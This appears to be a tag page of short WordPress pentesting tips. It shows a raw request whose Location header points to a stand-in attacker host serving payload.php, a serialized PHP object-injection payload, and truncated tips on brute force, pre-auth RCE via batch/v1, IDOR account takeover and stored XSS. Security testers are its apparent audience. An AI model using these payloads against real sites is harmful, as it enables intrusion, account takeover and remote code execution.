Test WP Rocket for RCE
GET /wp-admin/admin-ajax.php HTTP/1.1Host: target.comLocation: http://attacker.example/payload.phpTag
Published tips with this tag, newest first. Payloads and commands are shown as plain text.
Tag #wordpressRemove tag filter
GET /wp-admin/admin-ajax.php HTTP/1.1Host: target.comLocation: http://attacker.example/payload.phpTo find PHP object injection vulnerabilities, test AJAX handlers for deserialization of user-controlled input. Send a POST request to an AJAX handler with a serialized PHP object in the args parameter, such as args=O:8:"stdClass":1:{s:4:"test";s:10:"nuclei-poi";}. If the applica…
To test if a login endpoint is vulnerable to brute-force attacks, send multiple POST requests to the wp-login.php endpoint with different credentials. If the endpoint does not implement rate limiting, it will respond with a 200 OK status code for each failed login attempt. A suc…
To test for the WordPress core pre-authentication remote code execution vulnerability, send a POST request to the /wp-json/batch/v1 endpoint or use the query-string router with ?rest_route=/batch/v1. Look for a response that indicates the request was processed, such as a 200 OK…
When testing a target like target.com, try updating your profile with a modified externalId field set to another user's ID, such as an admin's ID, and a new password. If the update is successful and you can log in as the targeted user, it may indicate an Insecure Direct Object R…
Test template fields for stored cross-site scripting by submitting content with HTML markup, such as a link or text with angle brackets, and checking if it is executed in the context of a higher-privileged viewer. Try storing a template that contains angle brackets <> and confirm